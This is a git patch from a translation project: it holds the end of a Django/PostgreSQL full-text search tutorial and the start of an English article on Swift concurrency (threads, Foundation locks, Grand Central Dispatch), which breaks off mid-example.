+<QuerySet [
+  ('Django, the western character', 0.665342),
+  ('Python is a programming language', 0.364756)
+]>
+
+```
+
+## Indexing ##
+
+Now that the documents are stored in a field, we can create a GIN index to speed up searching. With Django 1.11, this is as easy as adding an `indexes` Meta option to our model, then create and apply a migration.
+
+```
+from django.contrib.postgres.indexes import GinIndex
+
+class Post(models.Model):
+    title = models.CharField(max_length=50)
+    content = models.TextField()
+    author = models.ForeignKey(Author)
+    tags = models.ManyToManyField(Tag)
+    search_vector = SearchVectorField(null=True)
+
+    class Meta:
+        indexes = [
+            GinIndex(fields=['search_vector'])
+        ]
+```
+
+For Django 1.10, we'd need to create an empty migration then add a `RunSQL` operation:
+
+```
+migrations.RunSQL(
+    "CREATE INDEX blog_post_search_vector_idx ON blog_post USING gin(search_vector)",
+    "DROP INDEX blog_post_search_vector_idx"
+)
+```
+
+# Updating the documents #
+
+This is great and all, but as soon as any of the data changes, the documents will be out of date, and the search results will be incorrect. The first way we could address this is with a cron or scheduled task that updates the whole table (like we did above) at regular intervals. This would be a good option for an application that processes a lot of updates, or does its updates in large batches. This way we don't add overhead to every update, and instead can more efficiently update all rows at once.
+
+For other applications that have a slow steady stream of updates, it would be more appropriate to update every time the data changed. The upside is that the search data will always be up to date. The downside is that every update will incur extra overhead as the search_vector is calculated.
+
+A compromise would be to queue up the update to the search_vector as an asynchronous process, so that it's updated fairly quickly, but the updates can still be done as a batch. This is outside the scope of this article, but it shouldn't be too difficult depending on the application architecture.
+
+The best method is going to depend on the particular application. Here are a couple simple ways to update on every save.
+
+## Overriding save() ##
+
+One method to update the document is to override the save() method on Post. With this method, every time the data that search relies on is updated, then the search_vector is also updated alongside it. So search results reflect data changes immediately. This does incur an overhead on every update to the database, though.
+
+First we'll create a custom manager that adds documents to the queryset when we request it, so we can keep things DRY, and only have our SearchVectors defined in one place.
+
+```
+class PostManager(models.Manager):
+    def with_documents(self):
+        vector = SearchVector('title', weight='A') + \
+                 SearchVector('content', weight='C') + \
+                 SearchVector('author__name', weight='B') + \
+                 SearchVector(StringAgg('tags__name', delimiter=' '), weight='B')
+        return self.get_queryset().annotate(document=vector)
+```
+
+Now we'll update our Post model and add our custom manager and a custom save function. The idea here is to save the data to the database, then do a SELECT query that joins all the data together and then save the new search_vector. So each save will result in an UPDATE, SELECT, then another UPDATE.
+
+```
+from django.contrib.postgres.search import SearchVectorField, SearchVector
+
+class Post(models.Model):
+    title = models.CharField(max_length=50)
+    content = models.TextField()
+    author = models.ForeignKey(Author)
+    tags = models.ManyToManyField(Tag)
+    search_vector = SearchVectorField(null=True)
+
+    objects = PostManager()
+
+    def save(self, *args, **kwargs):
+        super().save(*args, **kwargs)
+        if 'update_fields' not in kwargs or 'search_vector' not in kwargs['update_fields']:
+            instance = self._meta.default_manager.with_documents().get(pk=self.pk)
+            instance.search_vector = instance.document
+            instance.save(update_fields=['search_vector'])
+```
+
+Also, updates to authors and tags won't trigger the `save()`, so we'll also add signals for those that force a `save()` on the Post as well to update the search_vector.
+
+```
+from django.db.models.signals import post_save, m2m_changed
+from django.dispatch import receiver
+
+@receiver(post_save, sender=Author)
+def author_changed(sender, instance, **kwargs):
+    for post in instance.post_set.with_documents():
+        post.search_vector = post.document
+        post.save(update_fields=['search_vector'])
+
+
+@receiver(m2m_changed, sender=Post.tags.through)
+def post_tags_changed(sender, instance, action, **kwargs):
+    if action in ('post_add', 'post_remove', 'post_clear'):
+        instance.save()
+```
+
+Now any changes to a Post, Author or if tags are added, removed or cleared will cause the search data to be updated. If a tag is renamed, then we won't pick up on that without creating another signal handler.
+
+## Using triggers ##
+
+It's also possible to install a few triggers in the database that will automatically update the search_vector whenever the data is changed. I won't go into too much detail, but they will look something like this. We can easily add these to a migration that uses a RunSQL operation to install them into our database. The idea is exactly the same as above, but since the database can do it all locally and not have to send data back and forth to Django, it will perform better.
+
+```
+-- Trigger on insert or update of blog.Post
+CREATE OR REPLACE FUNCTION post_search_vector_trigger() RETURNS trigger AS $$
+BEGIN
+  SELECT setweight(to_tsvector(NEW.title), 'A') ||
+         setweight(to_tsvector(NEW.content), 'C') ||
+         setweight(to_tsvector(author.name), 'B') ||
+         setweight(to_tsvector(COALESCE(string_agg(tag.name, ', '), '')), 'B')
+  INTO NEW.search_vector
+  FROM blog_post AS post
+  JOIN blog_author AS author ON author.id = post.author_id
+  JOIN blog_post_tags AS post_tags ON post_tags.post_id = post.id
+  JOIN blog_tag AS tag ON tag.id = post_tags.tag_id
+  WHERE post.id = NEW.id
+  GROUP BY post.id, author.id;
+  RETURN NEW;
+END;
+$$ LANGUAGE plpgsql;
+CREATE TRIGGER search_vector_update BEFORE INSERT OR UPDATE ON blog_post
+  FOR EACH ROW EXECUTE PROCEDURE post_search_vector_trigger();
+
+-- Trigger after blog.Author is update
+CREATE OR REPLACE FUNCTION author_search_vector_trigger() RETURNS trigger AS $$
+BEGIN
+  UPDATE blog_post SET id = id WHERE author_id = NEW.id;
+  RETURN NEW;
+END;
+$$ LANGUAGE plpgsql;
+CREATE TRIGGER search_vector_update AFTER INSERT OR UPDATE ON blog_author
+  FOR EACH ROW EXECUTE PROCEDURE author_search_vector_trigger();
+
+-- Trigger after blog.Post.tags are added, update or deleted
+CREATE OR REPLACE FUNCTION tags_search_vector_trigger() RETURNS trigger AS $$
+BEGIN
+  IF (TG_OP = 'DELETE') THEN
+    UPDATE blog_post SET id = id WHERE id = OLD.post_id;
+    RETURN OLD;
+  ELSE
+    UPDATE blog_post SET id = id WHERE id = NEW.post_id;
+    RETURN NEW;
+  END IF;
+END;
+$$ LANGUAGE plpgsql;
+CREATE TRIGGER search_vector_update AFTER INSERT OR UPDATE OR DELETE ON blog_post_tags
+  FOR EACH ROW EXECUTE PROCEDURE tags_search_vector_trigger();
+```
+
+# Conclusion #
+
+Now we have a working application using Postgres full-text search, and once set up, it can be mostly forgotten about. Compared to setting up [elasticsearch](https://www.elastic.co/products/elasticsearch) or [SOLR](http://lucene.apache.org/solr/) (even with [Haystack](http://haystacksearch.org/)), this is a breeze, and results are going to be good enough for most applications.
+
+For more information and more features, such as language support, custom stemming, trigrams, accents, etc, please see the following sources:
+
+- [Official PostgreSQL Full-Text Search Documentation](https://www.postgresql.org/docs/9.6/static/textsearch.html)
+- [Official Django Postgres Search Documentation](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/)
+- [Postgres full-text search is Good Enough](http://rachbelaid.com/postgres-full-text-search-is-good-enough/): Great article on the basics of Postgres full-text search.
+- [An example project](https://github.com/nshafer/pgfulltext) that this blog post goes along with.
+
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 16702ab10b57c0985e753299a822f3af704655ba Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 19 May 2017 21:47:41 +0800
Subject: [PATCH 497/638] Create
 all-about-concurrency-in-swift-1-the-present.md

---
 ...bout-concurrency-in-swift-1-the-present.md | 971 ++++++++++++++++++
 1 file changed, 971 insertions(+)
 create mode 100644 TODO/all-about-concurrency-in-swift-1-the-present.md

diff --git a/TODO/all-about-concurrency-in-swift-1-the-present.md b/TODO/all-about-concurrency-in-swift-1-the-present.md
new file mode 100644
index 00000000000..ef20d244b57
--- /dev/null
+++ b/TODO/all-about-concurrency-in-swift-1-the-present.md
@@ -0,0 +1,971 @@
+> * 原文地址：[All about Concurrency in Swift - Part 1: The Present](https://www.uraimo.com/2017/05/07/all-about-concurrency-in-swift-1-the-present/)
+> * 原文作者：[Umberto Raimondi](https://www.uraimo.com/about/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# [All about Concurrency in Swift - Part 1: The Present](/2017/05/07/all-about-concurrency-in-swift-1-the-present/) #
+
+The current release of the Swift language doesn’t include yet any native concurrency functionality like other modern languages such as Go or Rust do.
+
+If you plan to perform tasks concurrently and when you’ll need to deal with the resulting race conditions, your only option is to use external libraries like libDispatch or the synchronization primitives offered by Foundation or the OS.
+
+In the first part of this series, we’ll take a look at what we have at our disposal with Swift 3, covering everything from Foundation locks, threads and timers to the language guarantees and the recently improved Grand Central Dispatch and Operation Queues.
+
+Some basic concurrency theory and a few common concurrency pattern we’ll also be described.
+
+![Example of klingon code with critical section](https://www.uraimo.com/imgs/concurr.png)
+
+Even if they are available on every platform where Swift is available, the functions and primitives from the pthread library will not be discussed here, since for all of them, higher level alternatives exist.
+The NSTimer class will also not be described here, take a look [here](/swiftbites/nstimer-in-swift-3/) for info on how to use it with Swift 3.
+
+As has already been announced multiple times, one of the major releases after Swift 4.0 (not necessarily Swift 5) will expand the language to better define the memory model and include new native concurrency features that will allow to handle concurrency, and likely parallelism, without external libraries, defining a swifty idiomatic approach to concurrency.
+
+This will be the topic of the next article in this series, where we’ll discuss a few alternative approaches and paradigms implemented by other languages, how they could be implemented in Swift and we’ll analyze a few open-source implementations that are already available today and that allow to use the Actors paradigm, Go’s CSP channels, Software Transactional Memory and more with the current release of Swift.
+
+This second article will be completely speculative and its main goal will be to give you an introduction to these subjects so that you’ll be able to participate to the, likely heated, discussions that will define how concurrency will be handled in the future releases of Swift.
+
+#### *The playgrounds for this and other articles are available from [GitHub](https://github.com/uraimo/Swift-Playgrounds) or [Zipped](/archives/2017-05-07-ConcurrencyInSwift.playground.zip).* ####
+
+### Contents ###
+
+- [Multithreading and Concurrency Primer](#multithreading-and-concurrency-primer)
+- [Language Guarantees](#language-guarantees)
+- [Threads](#threads)
+- [Synchronization Primitives](#synchronization-primitives)
+	- [NSLock](#nslock)
+	- [NSRecursiveLock](#nsrecursivelock)
+	- [NSConditionLock](#nsconditionlock)
+	- [NSCondition](#nscondition)
+	- [NSDistributedLock](#nsdistributedlock)
+	- [OSAtomic Where Art Thou?](#osatomic-where-art-thou)
+	- [On Synchronized Blocks](#on-synchronized-blocks)
+
+- [GCD: Grand Central Dispatch](#gcd-grand-central-dispatch)
+	- [Dispatch Queues](#dispatch-queues)
+	- [Using Queues](#using-queues)
+	- [Barriers](#barriers)
+	- [Singletons and Dispatch_once](#singletons-and-dispatch_once)
+	- [Dispatch Groups](#dispatch-groups)
+	- [Dispatch Work Items](#dispatch-work-items)
+	- [Dispatch Semaphores](#dispatch-semaphores)
+	- [Dispatch Assertions](#dispatch-assertions)
+	- [Dispatch Sources](#dispatch-sources)
+	
+- [Operations and OperationQueues](#operations-and-operationqueues)
+- [Closing Thoughts](#closing-thoughts)
+
+## Multithreading and Concurrency Primer ##
+
+Nowadays, regardless of what kind of application you are building, sooner or later you’ll have to consider the fact that your application will be running in an environment with multiple threads of execution.
+
+Computing platforms with more than one processors or processors with more than one hardware execution core have been around for a few decades and concept like *thread* and *process* are even older than that.
+
+Operating systems have been exposing these capabilities to user programs in various ways and every modern framework or application will likely implement a few well known design pattern involving multiple threads to improve flexibility and performance.
+
+Before we start to delve into the specifics of how to deal with concurrency with Swift, let me explain briefly a few basic concepts that you need to know before starting to consider if you should use *Dispatch Queues* or *Operation Queues*.
+
+First of all, you could ask, even if Apple’s platform and frameworks use threads, why should you introduce them in your applications?
+
+There are a few common circumstances that make the use of multiple threads a no-brainer:
+
+- **Task groups separation**: Threads can be used to modularize your application from the point of view of execution flow, different threads can be used to execute in a predictable manner a group of task of the same type, isolating them from the execution flow of other parts of your program, making it easier to reason about the current state of your application.
+
+- **Parallelize data-independent computations**: Multiple software threads, backed by hardware threads or not(see next point), can be used to parallelize multiple copies of the same task operating on a subset of an original input data structure.
+
+- **Clean way to wait for conditions or I/O**: When using blocking I/O or when performing other kinds of blocking operations, background threads can be used to cleanly wait for the completion of these operations. The use of threads can improve the overall design of your application and make handling blocking calls trivial.
+
+But when multiple threads are executing your application code, a few assumptions that made sense when looking at your code from the point of view of a single thread cease to be valid.
+
+In an ideal world where each thread of execution behave independently and there is no sharing of data, concurrent programming is actually not much more complex that writing code that will be executed by a single thread. But if, as often happens, you plan to have multiple threads operating on the same data, you’ll need a way to regulate access to those data structures and to guarantee that every operation on that data completes as expected without unwanted interaction with operations from other threads.
+
+Concurrent programming requires additional guarantees from the language and the operating system, that need to explicitly state how variables (or more generically “resources”) will behave when multiple threads try to alter their value accessing them at the same time.
+
+The language needs to define a *Memory Model*, a set of rules that explicitly states how some basic statements will behave in presence of concurrent threads, defining how memory can be shared and which kind of memory accesses are valid.
+
+Thanks to this, the user will have a language that behave predictably in the presence of threads and we’ll know that the compiler will only perform optimizations that respect what has been defined in the memory model.
+
+Defining a memory model is a delicate step in the evolution of a language, since a model too strict could limit how the compiler are allowed to evolve. New clever optimizations could be invalid for past decisions on the memory model.
+
+The memory model defines for example:
+
+- Which language statements can be considered *atomic* and which are not, operations that can be executed only as a whole where no thread can see partial results. It’s for example essential to know if variables are initialized atomically or not.
+
+- How shared variables are handled by threads, if they are cached by default or not and if it would be possible to influence the caching behaviour with specific language modifiers.
+
+- Concurrency operators that are used to mark and to regulate access to *critical sections*, sections of code that operate on shared resources, allowing for example only one thread to follow a specific code path at a time.
+
+Now let’s go back to discussing the use of concurrency in your programs.
+
+To handle concurrency correctly, you’ll have to identify the *critical sections* in your program and use concurrency primitives or concurrency-aware data structure to regulate access to data shared among different threads.
+
+Imposing access rules to these sections of code or data structures open the way to another set of problems, that derive from the fact that while the desired outcome is that every thread gets to be executed and has a chance to modify the shared data, under some circumstances some of them could not execute at all or the data could be altered in unexpected and unpredictable ways.
+
+You’ll face an additional set of challenges and you’ll have to work around some common problems:
+
+- **Race conditions**: With multiple threads operating on the same data, for example reading and writing it concurrently, the outcome of the execution of a series of operations could become unpredictable and dependent on the order of execution of the threads.
+
+- **Resources contention**: Multiple threads, that could be performing different tasks, trying to access the same resources will increase the amount of time needed to obtain the required resources safely. These delays needed to acquire the resources you need could lead to unexpected behaviour or could require that you structure your program to regulate access to these resources.
+
+- **Deadlocks**: Multiple threads waiting for each other to release the resources/locks they need, forever, blocking the execution of that group of threads.
+
+- **Starvation**: A thread could never be able to acquire the resource, or a set of resources in a specific order, it needs for various reasons and keep trying forever unsuccessfully to acquire them.
+
+- **Priority Inversion**: A thread with lower priority could keep acquiring resources needed for a thread with higher priority effectively inverting the priority assigned by the system.
+
+- **Non-determinism and Fairness**: We can’t make assumptions on when and in what order a thread will be able to acquire a shared resource, this delay [cannot be determined a priori](https://en.wikipedia.org/wiki/Unbounded_nondeterminism) and is heavily influenced by the amount of contention. A thread could even never be able to acquire a resource. But concurrency primitives used to guard a critical section can also be built to be *fair* or to support *fairness*, guaranteeing access to the critical section to all the threads that are waiting, also respecting the request order.
+
+## Language Guarantees ##
+
+Even if at the moment the Swift language itself doesn’t have features related to concurrency, it still offers some guarantees related to how properties are accessed.
+
+Global variables for example are initialized atomically, we will never need to handle manually the case in which multiple threads try to initialize the same global variable concurrently or worry that someone could see a partially initialized variable while initialization is still ongoing.
+
+We’ll discuss again this behaviour when talking about implementing singletons below.
+
+But it’s important to remember that lazy properties initialization is instead not performed atomically, and the language for now does not provide annotations or modifiers to change this behaviour.
+
+Access to class properties is again not atomic, and if you need to make it so, you’ll have to implement exclusive access manually using locks or similar mechanisms.
+
+## Threads ##
+
+Foundation offers a Thread class, internally based on pthread, that can be used to create new threads and execute closures.
+
+Threads can be created using the method `detachNewThreadSelector:toTarget:withObject:` of the Thread class or we can create a new thread declaring a custom Thread class and then overriding  the `main()` method:
+
+```
+classMyThread : Thread {
+    override func main(){
+        print("Thread started, sleep for 2 seconds...")
+        sleep(2)
+        print("Done sleeping, exiting thread")
+    }
+}
+
+```
+
+But since iOS 10 and macOS Sierra, it’s finally possible on all platforms to just create a new thread using the initializer that allows to specify the closure that the thread will execute. All the example in this article will still extend the base Thread class though, so that you don’t have to worry about having the right OS to try them out.
+
+```
+
+var t = Thread {
+    print("Started!")
+}
+
+t.stackSize = 1024 * 16
+t.start()               //Time needed to spawn a thread around 100us
+```
+
+Once we have a thread instance we need to manually start it. As an optional step, we can also choose a custom stack size for this new thread.
+
+Threads can be stopped abruptly calling `exit()` but that’s never recommended since it doesn’t give you the opportunity to cleanly end the current task, most of the times you’ll implement the stopping logic yourself if you need it or just use the `cancel()` method and check the `isCancelled` property inside your main closure to know if the thread is required to stop the current job before its natural end.
+
+## Synchronization Primitives ##
+
+When we have different threads that want to mutate shared data, is essential to handle synchronization of those threads in some way to prevent data corruption and non-deterministic behavior.
+
+The basic facilities usually used to synchronize threads are locks, semaphores and monitors.
+
+Foundation provides all of them.
+
+As you’ll see momentarily, the classes (yes, all of them are reference types) implementing these constructs [have not lost the NS prefix](https://github.com/apple/swift-evolution/blob/master/proposals/0086-drop-foundation-ns.md#proposed-solution) in Swift 3, but could in one of the next releases of Swift.
+
+### NSLock ###
+
+NSLock is the basic type of lock that Foundation offers.
+
+When a thread tries to lock this object two things can happen, the thread will acquire the lock and proceed if it hasn’t already been acquired by a previous thread or alternatively the thread will wait, blocking its execution, until the owner of the lock unlocks it. In other words, locks are object that can be acquired (or locked) only by one thread at a time and this make them perfect to monitor access to critical sections.
+
+NSLock and the other Foundation’s locks are *unfair*, meaning that when a series of threads is waiting to acquire a lock, they will **not** acquire it in the same order in which they originally tried to lock it.
+
+You can’t make assumption on the execution order, and in cases of high thread contention, when a lot of threads are trying to acquire the resource, some of your threads may be subject to *starvation* and never be able to acquire the lock they are waiting for (or not able to acquire it in a timely fashion).
+
+The time needed to acquire a lock, without contention, is measurable in 100s of nanoseconds, but that time grows rapidly when more than one thread tries to acquire the locked resource. So, from a performance point of view, locks are usually not the best solution to handle resource allocation.
+
+Let’s see an example with two threads and remember that since the order in which the lock will be acquired is not deterministic, it could happen that T1 acquires the Lock two times in a row (but that wouldn’t be the norm).
+
+```
+
+let lock = NSLock()
+
+class LThread : Thread {
+    varid:Int = 0
+    
+    convenience init(id:Int){
+        self.init()
+        self.id = id
+    }
+    
+    override func main(){
+        lock.lock()
+        print(String(id)+" acquired lock.")
+        lock.unlock()
+        iflock.try() {
+            print(String(id)+" acquired lock again.")
+            lock.unlock()
+        }else{  // If already lockedmove along.
+            print(String(id)+" couldn't acquire lock.")
+        }
+        print(String(id)+" exiting.")
+    }
+}
+
+var t1 = LThread(id:1)
+var t2 = LThread(id:2)
+t1.start()
+t2.start()
+
+```
+
+Let me just add a word of warning for when you’ll decide to use locks. Since it’s likely that sooner or later you’ll have to debug concurrency issues, always try to circumscribe your use of locks inside the bounds of some sort of data structure and try not to refer directly to a single lock object in multiple places in your code base.
+
+Checking the status of a synchronized data structure with few entry points while debugging a concurrency problem is way more pleasant than having to keep track of which part of your code is holding a lock and having to remember the local status of multiple functions. Go the extra mile and structure well your concurrent code.
+
+### NSRecursiveLock ###
+
+Recursive locks can be acquired multiple times from the thread that already holds that lock, useful in recursive function or when calling multiple functions that check the same lock in sequence. This **would not work** with basic NSLocks.
+
+```
+let rlock = NSRecursiveLock()
+
+classRThread : Thread {
+    
+    override func main(){
+        rlock.lock()
+        print("Thread acquired lock")
+        callMe()
+        rlock.unlock()
+        print("Exiting main")
+    }
+    
+    func callMe(){
+        rlock.lock()
+        print("Thread acquired lock")
+        rlock.unlock()
+        print("Exiting callMe")
+    }
+}
+
+var tr = RThread()
+tr.start()
+
+```
+
+### NSConditionLock ###
+
+Condition locks provides additional sub-locks that can be locked/unlocked independently from each other to support more complex locking setups (e.g. consumer-producer scenarios).
+
+A global lock (that locks regardless of a specific condition) is also available and behaves like a classic NSLock.
+
+Let’s see a simple example with a lock that guards a shared integer, that a consumer prints and a producer updates every time it has been shown on screen.
+
+```
+let NO_DATA = 1let GOT_DATA = 2let clock = NSConditionLock(condition: NO_DATA)
+var SharedInt = 0classProducerThread : Thread {
+    
+    override func main(){
+        for i in0..<5 {
+            clock.lock(whenCondition: NO_DATA) //Acquire the lock when NO_DATA//If we don't have to wait for consumers we could have just done clock.lock()
+            SharedInt = i
+            clock.unlock(withCondition: GOT_DATA) //Unlock and set as GOT_DATA
+        }
+    }
+}
+
+classConsumerThread : Thread {
+    
+    override func main(){
+        for i in0..<5 {
+            clock.lock(whenCondition: GOT_DATA) //Acquire the lock when GOT_DATA
+            print(i)
+            clock.unlock(withCondition: NO_DATA) //Unlock and set as NO_DATA
+        }
+    }
+}
+
+let pt = ProducerThread()
+let ct = ConsumerThread()
+ct.start()
+pt.start()
+
+```
+
+When creating the lock, we need to specify the starting condition, represented by an integer.
+
+The `lock(whenCondition:)` method will acquire the lock when the condition is met or will wait until another thread sets that value when releasing the lock using `unlock(withCondition:)`.
+
+A small improvement over basic locks that allows us to model slightly more complex scenarios.
+
+### NSCondition ###
+
+Not to be confused with Condition Locks, a condition provide a clean way to wait for a *condition* to occur.
+
+When a thread that has acquired a lock verifies that an additional condition it needs (some resource it needs, another object being in a particular state, etc…) to perform its work is not met, it needs a way to be put on hold and continue its work once that condition is met.
+
+This could be implemented by continuously or periodically checking for that condition (busy waiting) but doing so, what would happen to the locks the thread holds? Should we keep them while we wait or release them hoping that we’ll be able to acquire them again when the condition is met?
+
+Conditions provide a clean solution to this problem, once acquired a thread can be put on a *waiting* list for that condition and is woken up once another thread *signals* that the condition has been met.
+
+Let’s see an example:
+
+```
+let cond = NSCondition()
+var available = falsevar SharedString = ""classWriterThread : Thread {
+    
+    override func main(){
+        for _ in0..<5 {
+            cond.lock()
+            SharedString = "😅"
+            available = true
+            cond.signal() // Notify and wake up the waiting thread/s
+            cond.unlock()
+        }
+    }
+}
+
+classPrinterThread : Thread {
+    
+    override func main(){
+        for _ in0..<5 { //Just do it 5 times
+            cond.lock()
+            while(!available){   //Protect from spurious signals
+                cond.wait()
+            }
+            print(SharedString)
+            SharedString = ""
+            available = false
+            cond.unlock()
+        }
+    }
+}
+
+let writet = WriterThread()
+let printt = PrinterThread()
+printt.start()
+writet.start()
+
+```
+
+### NSDistributedLock ###
+
+Distributed locks are quite different from what we’ve seen until now and I don’t expect that you’ll need them frequently.
+
+They are made to be shared between multiple applications and are backed by an entry on the file system (for example a simple file). The file system will obviously need to be accessible by all the applications that need to acquire it.
+
+This kind of lock is acquired using the `try()` method, a non blocking method that returns right away with a boolean indicating if the lock was acquired or not. Acquiring a lock will usually require more than one try, to be performed manually and with a proper delay between successive attempts.
+
+Distributed locks are released as usual using the `unlock()` method.
+
+Let’s see a basic example:
+
+```
+var dlock = NSDistributedLock(path: "/tmp/MYAPP.lock")
+
+iflet dlock = dlock {
+    var acquired = falsewhile(!acquired){
+        print("Trying to acquire the lock...")
+        usleep(1000)
+        acquired = dlock.try()
+    }
+
+    // Do something...
+
+    dlock.unlock()
+}
+
+```
+
+### OSAtomic Where Art Thou? ###
+
+Atomic operations like those that were provided by [OSAtomic](https://www.mikeash.com/pyblog/friday-qa-2011-03-04-a-tour-of-osatomic.html) are simple operations that allow to set, get or compare-and-set variables without using the classic locking logic because they leverage specific CPU functionalities (sometimes native atomic instructions) and that provide way better performance than the locks described previously.
+
+It goes without saying that they are extremely useful to build concurrent data structures, since the overhead needed to handle concurrency is reduced to a minimum.
+
+OSAtomic has been deprecated since macOS 10.12 and was never available on Linux, but a few open source project like [this](https://github.com/glessard/swift-atomics) with its useful Swift extensions or [this](https://github.com/bignerdranch/AtomicSwift) provide similar functionalities.
+
+### On Synchronized Blocks ###
+
+In Swift you can’t create a @synchronized block out of the box as you would do in Objective-C, since there is no equivalent keyword available.
+
+On Darwin, with a bit of code you can roll out something similar using directly `objc_sync_enter(OBJ)` and `objc_sync_exit(OBJ)` to enter and exist an @objc object monitor like @synchronized does under the hood, but it’s not worth it, it’s better to simply use a lock if you need something like that, more versatile.
+
+And as we’ll see when describing Dispatch Queues, we can use queues to replicate this functionality with even less code performing a synchronous call:
+
+```
+var count: Int {
+    queue.sync {self.count}
+}
+
+```
+
+#### *The playgrounds for this and other articles are available from [GitHub](https://github.com/uraimo/Swift-Playgrounds) or [Zipped](/archives/2017-05-07-ConcurrencyInSwift.playground.zip).* ####
+
+## GCD: Grand Central Dispatch ##
+
+For those that are not already familiar with this API, the Grand Central Dispatch (GCD) is a queue based API that allows to execute closures on workers pools.
+
+In other words, closures containing a job that need to be executed can be added to a queue that will execute them using a series of threads either sequentially or in parallel depending on the queue’s configuration options. But regardless of the type of queue, jobs will always be started following the *First-in First-out* order, meaning that the jobs will always be started respecting the insertion order. The completion order will depend on the duration of each job.
+
+This is a common pattern that can be found in nearly every relatively modern language runtime that handles concurrency. A thread pool is way more easy to manage, inspect and control than a series of free and unconnected threads.
+
+The GCD API had a few changes in Swift 3, [SE-0088](https://github.com/apple/swift-evolution/blob/master/proposals/0088-libdispatch-for-swift3.md) modernized its design and made it more object oriented.
+
+### Dispatch Queues ###
+
+The GCD allows the creation of custom queues but also provide access to some predefined system queues.
+
+To create a basic serial queue, a queue that will execute your closures sequentially, you just need to provide a string label that will identify it and it’s usually recommended to use a reverse order domain name prefix to simplify tracking back the owner of the queue in stack traces.
+
+```
+let serialQueue = DispatchQueue(label: "com.uraimo.Serial1")  //attributes: .serial
+
+let concurrentQueue = DispatchQueue(label: "com.uraimo.Concurrent1", attributes: .concurrent)
+
+```
+
+The second queue we created is concurrent, meaning that the queue will use all the available threads in its underlying thread pool when executing the jobs it contains. Order of execution is unpredictable in this case, don’t assume that the completion order of your closures will be in any way related to the insertion order.
+
+The default queues can be retrieved from the `DispatchQueue` object:
+
+```
+let mainQueue = DispatchQueue.main
+
+let globalDefault = DispatchQueue.global()
+
+```
+
+The *main* queue is the sequential main queue that handles the *main event loop* for graphical applications on either iOS or macOS, responding to events and updating the user interface. As we know, every alteration to the user interface should be performed on this queue and every long operation performed on this thread will render the user interface less responsive.
+
+The runtime also provides access to other global queues with different priorities that can be identified by their *Quality of Service (Qos)* parameter.
+
+The different levels of priority are declared in the `DispatchQoS` class, from higher to lower:
+
+- .userInteractive
+- .userInitiated
+- .default
+- .utility
+- .background
+- .unspecified
+
+It’s important to note that on mobile devices that provide a low power mode, [background queues will be suspended](https://mjtsai.com/blog/2017/04/03/beware-default-qos/) when the battery is running low.
+
+To retrieve a specific default global queue, use the `global(qos:)` getter specifying the desired priority:
+
+```
+let backgroundQueue = DispatchQueue.global(qos: .background)
+
+```
+
+The same priority specifier can be used with or without other attributes also when creating custom queue:
+
+```
+let serialQueueHighPriority = DispatchQueue(label: "com.uraimo.SerialH", qos: .userInteractive)
+
+```
+
+### Using Queues ###
+
+Jobs, in the form of closures, can be submitted to a queue in two ways: *synchronously* using the `sync` method or *asynchronously* with the `async` method.
+
+When using the former, the `sync` call will be blocking, in other words, the call to the `sync` method will complete when its closure will complete (useful when you need to wait for the closure to end, but there are better approaches), whereas the former will add the closure to the queue and complete, allowing the execution to continue.
+
+Let’s see a quick example:
+
+```
+
+globalDefault.async {
+    print("Async on MainQ, first?")
+}
+
+globalDefault.sync {
+    print("Sync in MainQ, second?")
+}
+
+```
+
+Multiple dispatch calls can be nested, like for example when after some background, low priority, operation we need to update the user interface.
+
+```
+
+DispatchQueue.global(qos: .background).async {
+    // Some background work here
+
+    DispatchQueue.main.async {
+        // It's time to update the UI
+        print("UI updated on main queue")
+    }
+}
+
+```
+
+Closures can also be executed after a specific delay, Swift 3 finally allows to specify in a more comfortable way the desired time interval with the utility enum `DispatchTimeInterval` that allows to compose intervals using these four time units: `.seconds(Int)`, `.milliseconds(Int)`, `.microseconds(Int)` and `.nanoseconds(Int)`.
+
+To schedule a closure for future execution use the `asyncAfter(deadline:execute:)` method with a time interval:
+
+```
+globalDefault.asyncAfter(deadline: .now() + .seconds(5)) {
+    print("After 5 seconds")
+}
+
+```
+
+If you need to execute multiple iteration of the same closure concurrently (like you used to to with the *dispatch_apply*) you can use the `concurrentPerform(iterations:execute:)` method, but beware, these closure will be executed concurrently *if possible in the context of the current queue*, so remember to always enclose a call to this method in a sync or async call running on a queue that support concurrency.
+
+```
+
+globalDefault.sync {  
+    DispatchQueue.concurrentPerform(iterations: 5) {
+        print("\($0) times")
+    }
+}
+
+```
+
+While normally a queue is ready to process its closures upon creation, it can be configured to be enabled on-demand.
+
+```
+let inactiveQueue = DispatchQueue(label: "com.uraimo.inactiveQueue", attributes: [.concurrent, .initiallyInactive])
+inactiveQueue.async {
+    print("Done!")
+}
+
+print("Not yet...")
+inactiveQueue.activate()
+print("Gone!")
+
+```
+
+This is the first time we need to specify more than one attribute, but as you can see, you can just add multiple attributes with an array if needed.
+
+Execution of jobs can also be suspended or resumed temporarily with methods inherited from `DispatchObject`:
+
+```
+inactiveQueue.suspend()
+
+inactiveQueue.resume()
+
+```
+
+A `setTarget(queue:)` method that is to be used only to configure the priority of inactive queues (using it on active queues will result in a crash) is also available. The result of calling this method is that the priority of the queue is set to the same priority of the queue given as parameter.
+
+### Barriers ###
+
+Let’s say you added a series of closures to a specific queue (with different durations) but you now want to execute a job *only after* all the previous asynchronous task are completed. You can use barriers to do it.
+
+Let’s add 5 task(that will sleep for a timeout varying from 1 to 5 seconds) to the concurrent queue we created previously and use a barrier to print something once the other jobs complete, we’ll do this specifying a flag `DispatchWorkItemFlags.barrier` in our final *async* call:
+
+```
+
+globalDefault.sync { 
+    DispatchQueue.concurrentPerform(iterations: 5) { (id:Int) in
+        sleep(UInt32(id)+1)
